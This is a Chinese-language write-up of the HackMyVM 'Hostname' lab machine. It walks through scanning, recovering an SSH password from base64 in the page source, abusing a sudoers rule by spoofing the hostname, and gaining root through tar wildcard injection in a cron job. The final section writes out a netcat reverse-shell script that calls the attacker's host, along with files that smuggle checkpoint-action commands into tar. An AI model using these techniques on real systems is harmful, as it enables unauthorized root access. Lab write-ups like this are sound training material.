难度：简单

链接:https://hackmyvm.eu/machines/machine.php?vm=Hostname

这台靶机是上周刚刚发布的一台靶机，其中一处的提取手法对个人而言很是新颖，所以想记录一下。

攻击手法：

主机发现

端口扫描

sudo提权（伪造主机名）

古老的通配符提权

信息收集阶段

主机发现

[email protected] ~ % sudoarp-scan -l  
Interface: wlan0, type: EN10MB, MAC: dc:1b:a1:ba:dd:3f, IPv4: 192.168.1.100
Starting arp-scan 1.9.7 with 256hosts (https://github.com/royhills/arp-scan)
192.168.1.1     30:fc:68:d2:72:bc       TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.101   08:00:27:85:91:f2       PCS Systemtechnik GmbH
192.168.1.108   0c:70:4a:91:41:1e       HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.102   14:85:7f:c4:37:0e       (Unknown)
​
5packets received by filter, 0packets dropped by kernel
Ending arp-scan 1.9.7: 256hosts scanned in1.966 seconds (130.21 hosts/sec). 4responded

端口扫描

开放了22和80端口

[email protected] ~ % sudonmap -p--Pn192.168.1.101                                                                  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-1310:19 CST
Nmap scan report forwarzone.local (192.168.1.101)
Host is up (0.000076s latency).
Not shown: 65533closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC)
​
Nmap done: 1IP address (1 host up) scanned in0.70 seconds
[email protected] ~ % sudonmap -p22,80 -A-Pn192.168.1.101 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-1310:19 CST
Nmap scan report forwarzone.local (192.168.1.101)
Host is up (0.00073s latency).
​
PORT   STATE SERVICE VERSION
22/tcp open  ssh   OpenSSH 8.4p1 Debian 5(protocol 2.0)
| ssh-hostkey: 
|   307227:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  2565d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Panda
MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not findat least 1open and 1closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 -5.6
Network Distance: 1hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
TRACEROUTE
HOP RTT     ADDRESS
1 0.73 ms warzone.local (192.168.1.101)
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1IP address (1 host up) scanned in8.29 seconds
​

web信息

发现web界面，发现需要提交Secret Word，对web界面进行有价值的信息收集

查看页面源码发现一段base64编码信息，button标签被打上了disabled属性，这就意味禁用该参数，但是内容不是disabled而是po

<divclass="form-group">
<pclass="alert">Give Some Input..!!</p>
<!-- Kung Fu Panda -->
<buttonclass="btn"name="username"disabled="po">Read</button>
</div>
</form>
<linkrel="stylesheet"href="./assets/cool.css"><br><br>
<h2style="font-size:4vw"><span>I</span>M<span>POSSIBLE</span></h2>
<scriptcrossorigin="S3VuZ19GdV9QNG5kYQ=="src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<scriptsrc="./assets/script.js"></script>

对base64编码信息进行解码，猜测是我们需要提交的Secret Word

[email protected] ~ % echo"S3VuZ19GdV9QNG5kYQ=="| base64 -d
Kung_Fu_P4nda

将button标签disabled属性抹出后提交解码后的内容，弹窗现实了一串内容，猜测为22端口ssh服务的密码

尝试是用ssh服务进行登陆，用户名猜测为disabled内容po

[email protected] ~ % [email protected]                  
[email protected]'s password: 
Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
​
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms foreach program are described inthe
individual files in/usr/share/doc/*/copyright.
​
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 1221:38:18 2022from 192.168.1.100
[email protected]:~$ 

提权

查看linux版本以及内核，无法利用内核漏洞进行提权

[email protected]:~$ uname-a
Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux

sudo 提权，无法进行提权

显示不能运行在主机hostname上

[email protected]:~$ sudo-l
[sudo] password forpo: 
Sorry, user po may not run sudoon hostname.
[email protected]:~$ 

计划任务提权

发现存在一项每分钟执行的计划任务，而且使用tar命令使用了通配符

[email protected]:~$ cat/etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
​
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
​
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
*  *    * * *   root    cd/opt/secret/ && tar -zcf/var/backups/secret.tgz *
17*    * * *   root    cd/ && run-parts --report/etc/cron.hourly
256  * * *   root    test -x/usr/sbin/anacron || ( cd/ && run-parts --report/etc/cron.daily )
476  * * 7 root    test -x/usr/sbin/anacron || ( cd/ && run-parts --report/etc/cron.weekly )
526  1* *   root    test -x/usr/sbin/anacron || ( cd/ && run-parts --report/etc/cron.monthly )

进入到/opt/secret目录下，发现po用户并没有写入权限，需要提权到oogway

[email protected]:/opt/secret$ ls -la
total 20
drwxrwxr-x 2 root   oogway 4096 May 12 21:46  .
drwxrwxr-x 3 root   oogway 4096 Apr 21 14:27  ..
[email protected]:/opt/secret$ 

进行sudo提权时提示 may not run sudo on hostname

以此为基础进行内网信息收集

[email protected]:/etc$ ls -la | grep sudo
-rw-r--r--  1 root root    3975 Feb 27  2021 sudo.conf
-r--r-----  1 root root     669 Feb 27  2021 sudoers
drwxr-xr-x  2 root root    4096 Apr 21 10:02 sudoers.d
-rw-r--r--  1 root root    6169 Feb 27  2021 sudo_logsrvd.conf

发现suoers.d目录我们是可以访问的（一般情况是不允许普通用户访问）

[email protected]:/etc$ cd sudoers.d/
[email protected]:/etc/sudoers.d$ ls
po  README
[email protected]:/etc/sudoers.d$ cat po 
po HackMyVM = (oogway) NOPASSWD: /bin/bash

查看文件里po内容，是允许po在HackMyVM主机名下不需要输入密码使用oogway用户执行/bin/bash命令

使用sudo命令提权

[email protected]:/etc/sudoers.d$ sudo -u oogway -h HackMyVM /bin/bash
sudo: unable to resolve host HackMyVM: Name or service not known
[email protected]:/etc/sudoers.d$ id
uid=1001(oogway) gid=1001(oogway) groups=1001(oogway)
[email protected]:/etc/sudoers.d$ 

虽然提示未知的服务名字，但是命令还是执行成功提升为了oogway权限

查看flag

[email protected]:~$ pwd
/home/oogway   
[email protected]:~$ cat user.txt 
081ecc5e6dd6ba***********0e62ec50

通配符提权

攻击机上开启监听

nc -nvlp  port

/opt/secret下执行命令

echo "mkfifo /tmp/lhennp; nc hackip hackport 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

等待回连

[email protected] ~ % nc -nvlp port
Connection from 192.168.1.101:59670
python3 -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/opt/secret# id
id
uid=0(root) gid=0(root) groups=0(root)

提升shell

python3 -c "import pty;pty.spawn('/bin/bash')"

查看oogway下的flag

[email protected]:~# pwd
pwd
/root
[email protected]:~# cat root.txt
cat root.txt
d5806296126a********aa172ff9c9151

总结：

靶机难度不难，主要是两个提权过程，sudo提权对本人来说是收获了一种新的姿势，通配符提权已经是老生常谈的一种提权姿势，新老结合，蛮有趣的。